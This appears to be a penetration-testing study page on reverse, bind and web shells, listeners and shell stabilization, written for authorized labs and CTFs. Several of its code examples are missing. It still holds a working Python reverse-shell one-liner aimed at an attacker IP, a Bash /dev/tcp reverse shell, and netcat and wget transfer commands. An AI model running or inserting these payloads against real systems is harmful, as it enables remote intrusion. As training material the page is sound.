Shells
A shell is an interface used to interact with an operating system. In cybersecurity, the term usually refers to a command-line session on a local or remote machine.
In offensive security labs, getting a shell often means turning a vulnerability into interactive command execution.
Warning
Use shell payloads only in authorized labs, CTFs, internal training environments, or approved assessments.
Overview
A shell can allow a tester to run commands on a target system.
Common uses in labs:
- Confirm code execution
- Enumerate the system
- Read accessible files
- Check current user privileges
- Stabilize access
- Transfer files
- Prepare for privilege escalation
- Understand network position
A shell does not automatically mean full control. The access level depends on the user account and permissions of the process that spawned it.
Example:
www-data -> low-privileged web server user
root -> full Linux administrative control
SYSTEM -> full Windows administrative control
Shell Types
There are three common shell types to understand.
| Type | Description |
|---|---|
| Reverse shell | Target connects back to the attacker |
| Bind shell | Target opens a listening port |
| Web shell | Server-side script receives commands over HTTP |
Reverse Shell
A reverse shell makes the target connect back to the attacker's machine.
This is common because many networks block inbound traffic but allow some outbound traffic.
Attacker Listener
On the attacker's machine:
Flag breakdown:
| Flag | Meaning |
|---|---|
-l |
Listen mode |
-v |
Verbose output |
-n |
Do not resolve DNS |
-p |
Port to listen on |
Common listener ports in labs:
Note
Choose ports based on the lab environment and what is allowed. Do not assume outbound traffic is unrestricted.
Basic Reverse Shell Flow
- Attacker starts a listener.
- Target executes a reverse shell payload.
- Target connects back to the attacker.
- Attacker receives a command shell.
Attacker: nc -lvnp 443
Target: reverse shell payload connects to attacker:443
Result: attacker receives shell
Bash Reverse Shell
Bash reverse shell using /dev/tcp:
Example:
This redirects shell input, output, and error streams over a TCP connection.
Note
/dev/tcp is a Bash feature. It may not work in every shell.
Netcat Reverse Shell
Some versions of Netcat support -e.
Example:
Many modern Netcat versions disable -e, so this may not work.
Netcat Reverse Shell Without -e
Named pipe method:
Example:
Breakdown:
| Part | Purpose |
|---|---|
rm -f /tmp/f |
Removes old pipe if it exists |
mkfifo /tmp/f |
Creates a named pipe |
cat /tmp/f |
Reads commands from the pipe |
sh -i 2>&1 |
Starts interactive shell and redirects errors |
nc <IP> <PORT> |
Connects to listener |
>/tmp/f |
Sends received commands back into the pipe |
Python Reverse Shell
Python reverse shell:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<ATTACKER_IP>",<PORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
Example:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
This creates a socket, redirects standard input/output/error, and spawns Bash.
PHP Reverse Shell Concept
PHP may be useful when exploiting a PHP web application.
Example one-liner:
Example:
PHP command execution functions that may appear in labs:
Bind Shell
A bind shell makes the target listen on a port. The attacker then connects to that port.
This is less common because inbound firewall rules often block the connection.
Target Listener
Executed on the target in a lab:
Attacker Connects
Reverse vs Bind Shells
| Feature | Reverse Shell | Bind Shell |
|---|---|---|
| Connection direction | Target to attacker | Attacker to target |
| Listener location | Attacker machine | Target machine |
| Firewall challenge | Outbound filtering | Inbound filtering |
| Common in labs | Very common | Less common |
| Detection clue | Outbound connection | New listening port |
Web Shell
A web shell is a server-side script that accepts commands through HTTP requests.
It is often used when a file upload, command injection, or file write vulnerability allows code to be placed on the web server.
Example PHP web shell:
Example request:
Danger
Web shells can provide command execution through the web server process. Use only in authorized lab environments.
Web Shell vs Reverse Shell
| Feature | Web Shell | Reverse Shell |
|---|---|---|
| Interaction | HTTP requests | Interactive network connection |
| Connection | Attacker requests shell URL | Target connects back |
| Stability | Often stable but limited | More interactive |
| Detection | Suspicious uploaded script | Suspicious outbound connection |
| Common use | File upload / RCE labs | Exploit callback |
Listeners
A listener waits for incoming reverse shell connections.
Netcat
rlwrap + Netcat
rlwrap improves usability by adding command history and arrow-key support.
Ncat
Ncat is the Nmap project's improved Netcat.
Ncat can also support SSL:
Socat
Socat is powerful for more advanced shell handling.
Listener Comparison
| Tool | Main Benefit |
|---|---|
nc |
Simple and widely available |
rlwrap nc |
Better input handling |
ncat |
Modern features and SSL support |
socat |
Flexible and useful for TTY upgrades |
Shell Stabilization
Basic reverse shells are often unstable.
Common issues:
- No command history
- Arrow keys do not work
- Ctrl+C kills the shell
- No tab completion
- No proper TTY
- Interactive programs behave poorly
Python PTY Upgrade
Inside the shell:
Then background the shell with:
On the attacker machine:
Then press Enter and run:
Note
Shell stabilization steps may vary depending on terminal, OS, and shell type.
Useful First Commands
After receiving a shell in a lab, gather basic context.
Linux
Windows
Privilege Context
Always identify what user the shell is running as.
Linux examples:
Windows examples:
The current user determines what actions are possible.
File Transfer Basics
In labs, you may need to transfer tools or files.
Python HTTP Server
On attacker machine:
On target:
Netcat File Transfer
Receiver:
Sender:
Operational Safety
Good habits in labs and assessments:
- Confirm authorization and scope.
- Avoid destructive commands.
- Do not modify data unless required and approved.
- Record commands used.
- Capture evidence carefully.
- Avoid unnecessary persistence.
- Prefer proof-of-concept impact over excessive access.
- Clean up lab artifacts when instructed.
Common Troubleshooting
| Problem | Possible Cause |
|---|---|
| No callback | Wrong IP, wrong port, firewall, payload failed |
| Connection closes immediately | Shell binary missing, command error, process exits |
| No output | Incorrect redirection |
python not found |
Try python3 |
nc -e fails |
Netcat version does not support -e |
| Shell is unstable | Upgrade PTY or use rlwrap/socat |
| Cannot reach attacker | VPN interface/IP issue |
Check your VPN/interface IP:
Check listener:
Quick Reference
| Goal | Command |
|---|---|
| Netcat listener | nc -lvnp 443 |
| rlwrap listener | rlwrap nc -lvnp 443 |
| Bash reverse shell | bash -i >& /dev/tcp/IP/PORT 0>&1 |
| Python PTY upgrade | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Bind shell connect | nc -nv TARGET_IP PORT |
| Start HTTP server | python3 -m http.server 8000 |
| Download with wget | wget http://IP:8000/file |
| Current Linux user | id |
| Current Windows user | whoami /priv |
Notes to Remember
- A shell is a command-line control channel.
- Reverse shells connect from target to attacker.
- Bind shells listen on the target.
- Web shells receive commands over HTTP.
- Reverse shells are usually more common in labs.
- Basic shells often need stabilization.
- Always check current user and system context.
- Shell access should be handled carefully and documented.